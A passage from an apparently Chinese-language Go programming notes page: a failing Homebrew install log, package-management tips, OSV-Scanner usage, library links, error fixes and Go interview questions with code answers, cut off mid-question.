CPPFLAGS="-I/usr/local/opt/libffi/include"<br><br>For pkg-config to find libffi you may need to set:<br> export PKG_CONFIG_PATH="/usr/local/opt/libffi/lib/pkgconfig"<br><br>==> Summary<br>🍺 /usr/local/Cellar/libffi/3.3: 17 files, 540.2KB<br>==> Installing graphviz dependency: pcre<br>==> Pouring pcre-8.44.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/pcre/8.44: 204 files, 5.8MB<br>==> Installing graphviz dependency: glib<br>==> Pouring glib-2.66.2_1.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/glib/2.66.2_1: 436 files, 15.5MB<br>==> Installing graphviz dependency: jasper<br>==> Pouring jasper-2.0.22.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/jasper/2.0.22: 42 files, 1.5MB<br>==> Installing graphviz dependency: netpbm<br>==> Pouring netpbm-10.86.17.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/netpbm/10.86.17: 410 files, 17.7MB<br>==> Installing graphviz dependency: gts<br>==> Pouring gts-0.7.6_2.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/gts/0.7.6_2: 27 files, 1.4MB<br>==> Installing graphviz dependency: lzo<br>==> Pouring lzo-2.10.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/lzo/2.10: 31 files, 570.7KB<br>==> Installing graphviz dependency: pixman<br>==> Pouring pixman-0.40.0.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/pixman/0.40.0: 14 files, 1.3MB<br>==> Installing graphviz dependency: cairo<br>==> Pouring cairo-1.16.0_3.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/cairo/1.16.0_3: 119 files, 5.9MB<br>==> Installing graphviz dependency: gdk-pixbuf<br>==> Pouring gdk-pixbuf-2.42.0.big_sur.bottle.tar.gz<br>==> /usr/local/Cellar/gdk-pixbuf/2.42.0/bin/gdk-pixbuf-query-loaders --update-cache<br>🍺 /usr/local/Cellar/gdk-pixbuf/2.42.0: 149 files, 3.8MB<br>==> Installing graphviz dependency: fribidi<br>==> Pouring fribidi-1.0.10.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/fribidi/1.0.10: 67 files, 669.0KB<br>==> Installing graphviz dependency: gobject-introspection<br>==> Pouring gobject-introspection-1.66.1_1.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/gobject-introspection/1.66.1_1: 191 files, 12.7MB<br>==> Installing graphviz dependency: graphite2<br>==> Pouring graphite2-1.3.14.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/graphite2/1.3.14: 18 files, 291.7KB<br>==> Installing graphviz dependency: icu4c<br>==> Pouring icu4c-67.1.big_sur.bottle.tar.gz<br>==> Caveats<br>icu4c is keg-only, which means it was not symlinked into /usr/local,<br>because macOS provides libicucore.dylib (but nothing else).<br><br>If you need to have icu4c first in your PATH run:<br> echo 'export PATH="/usr/local/opt/icu4c/bin:$PATH"' >> ~/.zshrc<br> echo 'export PATH="/usr/local/opt/icu4c/sbin:$PATH"' >> ~/.zshrc<br><br>For compilers to find icu4c you may need to set:<br> export LDFLAGS="-L/usr/local/opt/icu4c/lib"<br> export CPPFLAGS="-I/usr/local/opt/icu4c/include"<br><br>For pkg-config to find icu4c you may need to set:<br> export PKG_CONFIG_PATH="/usr/local/opt/icu4c/lib/pkgconfig"<br><br>==> Summary<br>🍺 /usr/local/Cellar/icu4c/67.1: 258 files, 71.8MB<br>==> Installing graphviz dependency: harfbuzz<br>==> Pouring harfbuzz-2.7.2.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/harfbuzz/2.7.2: 68 files, 6.4MB<br>==> Installing graphviz dependency: pango<br>==> Pouring pango-1.48.0.big_sur.bottle.tar.gz<br>🍺 /usr/local/Cellar/pango/1.48.0: 64 files, 3MB<br>==> Installing graphviz dependency: librsvg<br>==> Pouring librsvg-2.50.2.big_sur.bottle.tar.gz<br>tar: Error opening archive: Failed to open '/Users/wangpeng/Library/Caches/Homebrew/downloads/3eb605900a29b02eb026199f14474efc43e313ee2b9de389706c795eebdc24f5--librsvg-2.50.2.big_sur.bottle.tar.gz'<br>Error: Failure while executing; `tar xof /Users/wangpeng/Library/Caches/Homebrew/downloads/3eb605900a29b02eb026199f14474efc43e313ee2b9de389706c795eebdc24f5--librsvg-2.50.2.big_sur.bottle.tar.gz -C /var/folders/zs/<KEY>0000gn/T/d20210302-22554-102pbtw` exited with 1. Here's the output:<br>tar: Error opening archive: Failed to open '/Users/wangpeng/Library/Caches/Homebrew/downloads/3eb605900a29b02eb026199f14474efc43e313ee2b9de389706c795eebdc24f5--librsvg-2.50.2.big_sur.bottle.tar.gz'<br><br>Warning: Bottle installation failed: building from source.<br>==> Installing dependencies for librsvg: libssh2 and rust<br>==> Installing librsvg dependency: libssh2<br>==> Pouring libssh2-1.9.0_1.big_sur.bottle.tar.gz<br>tar: Error opening archive: Failed to open '/Users/wangpeng/Library/Caches/Homebrew/downloads/45db0c196aa97bf6c0a9c6e7787ad2cd0d14d563c03d0f4e0d52392a0f3a1c81--libssh2-1.9.0_1.big_sur.bottle.tar.gz'<br>Error: Failure while executing; `tar xof /Users/wangpeng/Library/Caches/Homebrew/downloads/45db0c196aa97bf6c0a9c6e7787ad2cd0d14d563c03d0f4e0d52392a0f3a1c81--libssh2-1.9.0_1.big_sur.bottle.tar.gz -C /var/folders/<KEY>T/d20210302-22554-qzrgbb` exited with 1. Here's the output:<br>tar: Error opening archive: Failed to open '/Users/wangpeng/Library/Caches/Homebrew/downloads/45db0c196aa97bf6c0a9c6e7787ad2cd0d14d563c03d0f4e0d52392a0f3a1c81--libssh2-1.9.0_1.big_sur.bottle.tar.gz'<br><br>Warning: Bottle installation failed: building from source.<br>==> Downloading https://libssh2.org/download/libssh2-1.9.0.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> ./configure --prefix=/usr/local/Cellar/libssh2/1.9.0_1 --disable-examples-build --with-openssl --with-libz --with-libssl-prefix=/usr/local/opt/[email protected]<br>==> make install<br>🍺 /usr/local/Cellar/libssh2/1.9.0_1: 184 files, 969.9KB, built in 33 seconds<br>==> Installing librsvg dependency: rust<br>==> Pouring rust-1.47.0.big_sur.bottle.tar.gz<br>tar: Error opening archive: Failed to open '/Users/wangpeng/Library/Caches/Homebrew/downloads/f1482d118ddb120ff152e8f8aa88afa9bebc5674cc42aebca96249cffbdd8bdb--rust-1.47.0.big_sur.bottle.tar.gz'<br>Error: Failure while executing; `tar xof /Users/wangpeng/Library/Caches/Homebrew/downloads/f1482d118ddb120ff152e8f8aa88afa9bebc5674cc42aebca96249cffbdd8bdb--rust-1.47.0.big_sur.bottle.tar.gz -C /<KEY>d20210302-22554-16tqegl` exited with 1. Here's the output:<br>tar: Error opening archive: Failed to open '/Users/wangpeng/Library/Caches/Homebrew/downloads/f1482d118ddb120ff152e8f8aa88afa9bebc5674cc42aebca96249cffbdd8bdb--rust-1.47.0.big_sur.bottle.tar.gz'<br><br>Warning: Bottle installation failed: building from source.<br>==> Downloading https://static.rust-lang.org/dist/rustc-1.47.0-src.tar.gz<br><span class="hljs-meta">#</span><span class="bash"><span class="hljs-comment">####################################################################### 100.0%</span></span><br>==> ./configure --prefix=/usr/local/Cellar/rust/1.47.0 --release-channel=stable<br>==> make<br>Last 15 lines from /Users/wangpeng/Library/Logs/Homebrew/rust/02.make:<br>error: failed to get `cc` as a dependency of package `bootstrap v0.0.0 (/private/tmp/rust-20210302-29879-dftrmf/rustc-1.47.0-src/src/bootstrap)`<br><br>Caused by:<br> failed to fetch `https://github.com/rust-lang/crates.io-index`<br><br>Caused by:<br> network failure seems to have happened<br> if a proxy or similar is necessary `net.git-fetch-with-cli` may help here<br> https://doc.rust-lang.org/cargo/reference/config.html#netgit-fetch-with-cli<br><br>Caused by:<br> http parser error: stream ended at an unexpected time; class=Http (34)<br>failed to run: /private/tmp/rust-20210302-29879-dftrmf/rustc-1.47.0-src/build/x86_64-apple-darwin/stage0/bin/cargo build --manifest-path /private/tmp/rust-20210302-29879-dftrmf/rustc-1.47.0-src/src/bootstrap/Cargo.toml<br>Build completed unsuccessfully in 0:33:17<br>make: *** [all] Error 1<br><br>READ THIS: https://docs.brew.sh/Troubleshooting<br><br>These open issues may also help:<br>rust 1.50.0 https://github.com/Homebrew/homebrew-core/pull/70922<br>Rust-dependent formulae on Apple Silicon - upstream issue tracker https://github.com/Homebrew/homebrew-core/issues/68301<br></code></pre></td></tr></table></figure>
<h3 id="deferrecover在简单web服务应用">defer/recover在简单web服务应用</h3>
<p>代码结构<img src="/images/golang/web.jpg" srcset="/img/loading.gif" lazyload></p>
<p>https://github.com/weitrue/note/tree/master/go/web/</p>
<h3 id="包管理">包管理</h3>
<h4 id="gopm-获取无法下载的包">gopm 获取无法下载的包</h4>
<p><code>go get -v github.com/gpmgo/gopm</code></p>
<p>github地址:https://github.com/gpmgo/gopm</p>
<p>文档路径:https://github.com/gpmgo/docs/tree/master/zh-CN</p>
<p>安装踩坑:</p>
<figure class="highlight zsh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs zsh">github.com/codegangsta/cli: github.com/codegangsta/[email protected]: parsing go.mod:<br> module declares its path as: github.com/urfave/cli<br> but was required as: github.com/codegangsta/cli<br> <br></code></pre></td></tr></table></figure>
<p>关闭go mod即可成功安装</p>
<h3 id="工具">工具</h3>
<div class="note note-info">
<p><a target="_blank" rel="noopener" href="https://google.github.io/osv-scanner/">OSV-扫描仪</a></p><p><a target="_blank" rel="noopener" href="https://github.com/google/osv-scanner">github</a></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs shell">- Scan a docker image 扫描基于Debian的docker镜像包:<br> osv-scanner -D docker_image_name<br><br>- Scan a package lockfile 扫描特定锁定文件:<br> osv-scanner -L path/to/lockfile<br><br>- Scan an SBOM file 只检查SBOM中依赖项中的漏洞:<br> osv-scanner -S path/to/sbom_file<br><br>- Scan multiple directories recursively 扫描目录:<br> osv-scanner -r directory1 directory2 ...<br><br>- Skip scanning git repositories:<br> osv-scanner --skip-git -r|-D target<br><br>- Output result in JSON format:<br> osv-scanner --json -D|-L|-S|-r target<br></code></pre></td></tr></table></figure>
</div>
<div class="note note-info">
<p><a target="_blank" rel="noopener" href="https://silenceper.com/blog/201609/go-wechat-sdk/">WeChat SDK for Go</a></p>
</div>
<h5 id="爬虫相关">爬虫相关</h5>
<ul>
<li><a target="_blank" rel="noopener" href="https://github.com/henrylee2cn/pholcus">henrylee2cn/pholcus</a></li>
<li><a target="_blank" rel="noopener" href="https://github.com/PuerkitoBio/gocrawl">gocrawl</a></li>
<li><a target="_blank" rel="noopener" href="https://github.com/gocolly/colly">colly</a></li>
<li><a target="_blank" rel="noopener" href="https://github.com/hu17889/go_spider">hu17889/go_spider</a></li>
</ul>
<h5 id="middleware">Middleware</h5>
<div class="note note-success">
<p><a target="_blank" rel="noopener" href="https://github.com/valyala/bytebufferpool">bytebufferpool</a></p><ul><li>依托sync.Pool进行了二次封装。</li><li>defaultSize设置每次创建buffer的默认大小,超过maxSize的buffer不会被放回去。</li><li>分组统计不同大小buffer的使用次数,例如0-64bytes的buffer被使用的次数。</li><li>引入校准机制,动态计算defaultSize和maxSize。</li></ul>
</div>
<h5 id="其他">其他</h5>
<ul>
<li><p><a target="_blank" rel="noopener" href="https://github.com/skip2/go-qrcode">二维码生成</a></p></li>
<li><p><a target="_blank" rel="noopener" href="https://github.com/spf13/viper">viper</a></p></li>
<li><p><a target="_blank" rel="noopener" href="https://github.com/spf13/cobra">CLI applications</a></p></li>
</ul>
<h3 id="qa">Q&A</h3>
<div class="note note-warning">
<p><span class="label label-danger">go http client protocol error: received DATA after END_STREAM</span></p><p>received DATA after END_STREAM只会存在于http2协议中,因此需要设置http client中的ForceAttempHTTP2=false。</p><p><a target="_blank" rel="noopener" href="https://www.google.com.hk/search?q=go+http+client+protocol+error%3A+received+DATA+after+END_STREAM&ei=gwt2YoaqHKyWseMPkdiP6Aw&ved=0ahUKEwjG97rJ28z3AhUsS2wGHRHsA80Q4dUDCA4&uact=5&oq=go+http+client+protocol+error%3A+received+DATA+after+END_STREAM&gs_lcp=Cgdnd3Mtd2l6EANKBAhBGABKBAhGGABQAFjuOGCcPWgAcAF4AYABlgaIAZkjkgENMC43LjQuMS4wLjIuMZgBAKABAcABAQ&sclient=gws-wiz">解决</a></p>
</div>
<div class="note note-warning">
<p><span class="label label-danger">context canceled</span></p><p>增加客户端请求超时时间。</p><p><a target="_blank" rel="noopener" href="https://learnku.com/articles/63884">解决</a></p>
</div>
<h3 id="面试题">面试题</h3>
<h4 id="基础语法">基础语法</h4>
<p>Q1 <code>=</code> 和 <code>:=</code> 的区别?</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p><code>:=</code> 声明+赋值</p>
<p><code>=</code> 仅赋值</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">var</span> foo <span class="hljs-keyword">int</span><br>foo = <span class="hljs-number">10</span><br><span class="hljs-comment">// 等价于</span><br>foo := <span class="hljs-number">10</span><br></code></pre></td></tr></table></figure>
</div>
</div>
<p>Q2 指针的作用?</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>指针用来保存变量的地址。</p>
<p>例如</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">var</span> x = <span class="hljs-number">5</span><br><span class="hljs-keyword">var</span> p *<span class="hljs-keyword">int</span> = &x<br>fmt.Printf(<span class="hljs-string">"x = %d"</span>, *p) <span class="hljs-comment">// x 可以用 *p 访问</span><br></code></pre></td></tr></table></figure>
<ul>
<li><code>*</code> 运算符,也称为解引用运算符,用于访问地址中的值。</li>
<li><code>&</code>运算符,也称为地址运算符,用于返回变量的地址。</li>
</ul>
</div>
</div>
<p>Q3 Go 允许多个返回值吗?</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>允许</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">swap</span><span class="hljs-params">(x, y <span class="hljs-keyword">string</span>)</span> <span class="hljs-params">(<span class="hljs-keyword">string</span>, <span class="hljs-keyword">string</span>)</span></span> {<br> <span class="hljs-keyword">return</span> y, x<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> a, b := swap(<span class="hljs-string">"A"</span>, <span class="hljs-string">"B"</span>)<br> fmt.Println(a, b) <span class="hljs-comment">// B A</span><br>}<br></code></pre></td></tr></table></figure>
</div>
</div>
<p>Q4 Go 有异常类型吗?</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>Go 没有异常类型,只有错误类型(Error),通常使用返回值来表示异常状态。</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs go">f, err := os.Open(<span class="hljs-string">"test.txt"</span>)<br><span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {<br> log.Fatal(err)<br>}<br></code></pre></td></tr></table></figure>
</div>
</div>
<p>Q5 什么是协程(Goroutine)</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>Goroutine 是与其他函数或方法同时运行的函数或方法。 Goroutines 可以被认为是轻量级的线程。 与线程相比,创建 Goroutine 的开销很小。 Go应用程序同时运行数千个 Goroutine 是非常常见的做法。</p>
</div>
</div>
<p>Q6 如何高效地拼接字符串</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>Go 语言中,字符串是只读的,也就意味着每次修改操作都会创建一个新的字符串。如果需要拼接多次,应使用 <code>strings.Builder</code>,最小化内存拷贝次数。</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">var</span> str strings.Builder<br><span class="hljs-keyword">for</span> i := <span class="hljs-number">0</span>; i < <span class="hljs-number">1000</span>; i++ {<br> str.WriteString(<span class="hljs-string">"a"</span>)<br>}<br>fmt.Println(str.String())<br></code></pre></td></tr></table></figure>
</div>
</div>
<p>Q7 什么是 rune 类型</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>ASCII 码只需要 7 bit 就可以完整地表示,但只能表示英文字母在内的128个字符,为了表示世界上大部分的文字系统,发明了 Unicode, 它是ASCII的超集,包含世界上书写系统中存在的所有字符,并为每个代码分配一个标准编号(称为Unicode CodePoint),在 Go 语言中称之为 rune,是 int32 类型的别名。</p>
<p>Go 语言中,字符串的底层表示是 byte (8 bit) 序列,而非 rune (32 bit) 序列。例如下面的例子中 <code>语</code> 和 <code>言</code> 使用 UTF-8 编码后各占 3 个 byte,因此 <code>len("Go语言")</code> 等于 8,当然我们也可以将字符串转换为 rune 序列。</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs go">fmt.Println(<span class="hljs-built_in">len</span>(<span class="hljs-string">"Go语言"</span>)) <span class="hljs-comment">// 8</span><br>fmt.Println(<span class="hljs-built_in">len</span>([]<span class="hljs-keyword">rune</span>(<span class="hljs-string">"Go语言"</span>))) <span class="hljs-comment">// 4</span><br></code></pre></td></tr></table></figure>
</div>
</div>
<p>Q8 如何判断 map 中是否包含某个 key ?</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">if</span> val, ok := dict[<span class="hljs-string">"foo"</span>]; ok {<br> <span class="hljs-comment">//do something here</span><br>}<br></code></pre></td></tr></table></figure>
<p><code>dict["foo"]</code> 有 2 个返回值,val 和 ok,如果 ok 等于 <code>true</code>,则说明 dict 包含 key <code>"foo"</code>,val 将被赋予 <code>"foo"</code> 对应的值。</p>
</div>
</div>
<p>Q9 Go 支持默认参数或可选参数吗?</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>Go 语言不支持可选参数(python 支持),也不支持方法重载(java支持)。</p>
</div>
</div>
<p>Q10 defer 的执行顺序</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<ul>
<li>多个 defer 语句,遵从后进先出(Last In First Out,LIFO)的原则,最后声明的 defer 语句,最先得到执行。</li>
<li>defer 在 return 语句之后执行,但在函数退出之前,defer 可以修改返回值。</li>
</ul>
<p>例如:</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">test</span><span class="hljs-params">()</span> <span class="hljs-title">int</span></span> {<br> i := <span class="hljs-number">0</span><br> <span class="hljs-keyword">defer</span> <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">()</span></span> {<br> fmt.Println(<span class="hljs-string">"defer1"</span>)<br> }()<br> <span class="hljs-keyword">defer</span> <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">()</span></span> {<br> i += <span class="hljs-number">1</span><br> fmt.Println(<span class="hljs-string">"defer2"</span>)<br> }()<br> <span class="hljs-keyword">return</span> i<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> fmt.Println(<span class="hljs-string">"return"</span>, test())<br>}<br><span class="hljs-comment">// defer2</span><br><span class="hljs-comment">// defer1</span><br><span class="hljs-comment">// return 0</span><br></code></pre></td></tr></table></figure>
<p>这个例子中,可以看到 defer 的执行顺序:后进先出。但是返回值并没有被修改,这是由于 Go 的返回机制决定的,执行 return 语句后,Go 会创建一个临时变量保存返回值,因此,defer 语句修改了局部变量 i,并没有修改返回值。那如果是有名的返回值呢?</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">test</span><span class="hljs-params">()</span> <span class="hljs-params">(i <span class="hljs-keyword">int</span>)</span></span> {<br> i = <span class="hljs-number">0</span><br> <span class="hljs-keyword">defer</span> <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">()</span></span> {<br> i += <span class="hljs-number">1</span><br> fmt.Println(<span class="hljs-string">"defer2"</span>)<br> }()<br> <span class="hljs-keyword">return</span> i<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> fmt.Println(<span class="hljs-string">"return"</span>, test())<br>}<br><span class="hljs-comment">// defer2</span><br><span class="hljs-comment">// return 1</span><br></code></pre></td></tr></table></figure>
<p>这个例子中,返回值被修改了。对于有名返回值的函数,执行 return 语句时,并不会再创建临时变量保存,因此,defer 语句修改了 i,即对返回值产生了影响。</p>
</div>
</div>
<p>Q11 如何交换 2 个变量的值?</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs go">a, b := <span class="hljs-string">"A"</span>, <span class="hljs-string">"B"</span><br>a, b = b, a<br>fmt.Println(a, b) <span class="hljs-comment">// B A</span><br></code></pre></td></tr></table></figure>
</div>
</div>
<p>Q12 Go 语言 tag 的用处?</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>tag 可以理解为 struct 字段的注解,可以用来定义字段的一个或多个属性。框架/工具可以通过反射获取到某个字段定义的属性,采取相应的处理方式。tag 丰富了代码的语义,增强了灵活性。</p>
<p>例如:</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> <span class="hljs-string">"fmt"</span><br><span class="hljs-keyword">import</span> <span class="hljs-string">"encoding/json"</span><br><br><span class="hljs-keyword">type</span> Stu <span class="hljs-keyword">struct</span> {<br> Name <span class="hljs-keyword">string</span> <span class="hljs-string">`json:"stu_name"`</span><br> ID <span class="hljs-keyword">string</span> <span class="hljs-string">`json:"stu_id"`</span><br> Age <span class="hljs-keyword">int</span> <span class="hljs-string">`json:"-"`</span><br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> buf, _ := json.Marshal(Stu{<span class="hljs-string">"Tom"</span>, <span class="hljs-string">"t001"</span>, <span class="hljs-number">18</span>})<br> fmt.Printf(<span class="hljs-string">"%s\n"</span>, buf)<br>}<br></code></pre></td></tr></table></figure>
<p>这个例子使用 tag 定义了结构体字段与 json 字段的转换关系,Name -> <code>stu_name</code>, ID -> <code>stu_id</code>,忽略 Age 字段。很方便地实现了 Go 结构体与不同规范的 json 文本之间的转换。</p>
</div>
</div>
<p>Q13 如何判断 2 个字符串切片(slice) 是相等的?</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>go 语言中可以使用反射 <code>reflect.DeepEqual(a, b)</code> 判断 a、b 两个切片是否相等,但是通常不推荐这么做,使用反射非常影响性能。</p>
<p>通常采用的方式如下,遍历比较切片中的每一个元素(注意处理越界的情况)。</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">StringSliceEqualBCE</span><span class="hljs-params">(a, b []<span class="hljs-keyword">string</span>)</span> <span class="hljs-title">bool</span></span> {<br> <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(a) != <span class="hljs-built_in">len</span>(b) {<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span><br> }<br><br> <span class="hljs-keyword">if</span> (a == <span class="hljs-literal">nil</span>) != (b == <span class="hljs-literal">nil</span>) {<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span><br> }<br><br> b = b[:<span class="hljs-built_in">len</span>(a)]<br> <span class="hljs-keyword">for</span> i, v := <span class="hljs-keyword">range</span> a {<br> <span class="hljs-keyword">if</span> v != b[i] {<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span><br> }<br> }<br><br> <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span><br>}<br></code></pre></td></tr></table></figure>
</div>
</div>
<p>Q14 字符串打印时,<code>%v</code> 和 <code>%+v</code> 的区别</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p><code>%v</code> 和 <code>%+v</code> 都可以用来打印 struct 的值,区别在于 <code>%v</code> 仅打印各个字段的值,<code>%+v</code> 还会打印各个字段的名称。</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> Stu <span class="hljs-keyword">struct</span> {<br> Name <span class="hljs-keyword">string</span><br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> fmt.Printf(<span class="hljs-string">"%v\n"</span>, Stu{<span class="hljs-string">"Tom"</span>}) <span class="hljs-comment">// {Tom}</span><br> fmt.Printf(<span class="hljs-string">"%+v\n"</span>, Stu{<span class="hljs-string">"Tom"</span>}) <span class="hljs-comment">// {Name:Tom}</span><br>}<br></code></pre></td></tr></table></figure>
<p>但如果结构体定义了 <code>String()</code> 方法,<code>%v</code> 和 <code>%+v</code> 都会调用 <code>String()</code> 覆盖默认值。</p>
</div>
</div>
<p>Q15 Go 语言中如何表示枚举值(enums)</p>
<div class="spoiler collapsed">
<div class="spoiler-title">
答案
</div>
<div class="spoiler-content">
<p>通常使用常量(const) 来表示枚举值。</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">type</span> StuType <span class="hljs-keyword">int32</span><br><br><span class="hljs-keyword">const</span> (<br> Type1 StuType = <span class="hljs-literal">iota</span><br> Type2<br> Type3<br> Type4<br>)<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> fmt.Println(Type1, Type2, Type3, Type4) <span class="hljs-comment">// 0, 1, 2, 